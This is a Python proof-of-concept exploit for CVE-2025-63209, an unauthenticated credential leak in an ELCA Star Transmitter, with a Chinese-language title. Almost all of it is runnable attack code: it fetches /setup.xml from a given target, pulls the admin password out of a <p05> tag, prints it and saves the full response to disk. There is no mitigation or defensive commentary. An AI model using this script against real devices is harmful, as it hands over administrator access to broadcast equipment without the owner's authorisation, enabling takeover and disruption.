CVE-2025-63209 | ELCA Star Transmitter 未授权管理员凭证泄露漏洞

#!/usr/bin/env python3 """ CVE-2025-63209 PoC ELCA Star Transmitter - Unauthenticated Admin Credential Disclosure """ import requests import sys import re def exploit(target_url): """Exploit CVE-2025-63209 to retrieve admin credentials""" setup_xml_url = f"{target_url.rstrip('/')}/setup.xml" print(f"[*] Target: {target_url}") print(f"[*] Requesting: {setup_xml_url}") try: response = requests.get(setup_xml_url, timeout=10) if response.status_code == 200: print(f"[+] Success! Received XML response ({len(response.text)} bytes)") # Extract admin password from <p05> tag password_match = re.search(r'<p05>([^<]+)</p05>', response.text) if password_match: admin_password = password_match.group(1) print(f"[+] Admin Password Found: {admin_password}") else: print("[-] No password found in <p05> tag") # Save full response with open('setup_xml_response.xml', 'w') as f: f.write(response.text) print("[*] Full response saved to setup_xml_response.xml") return True else: print(f"[-] Failed: HTTP {response.status_code}") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100") sys.exit(1) exploit(sys.argv[1])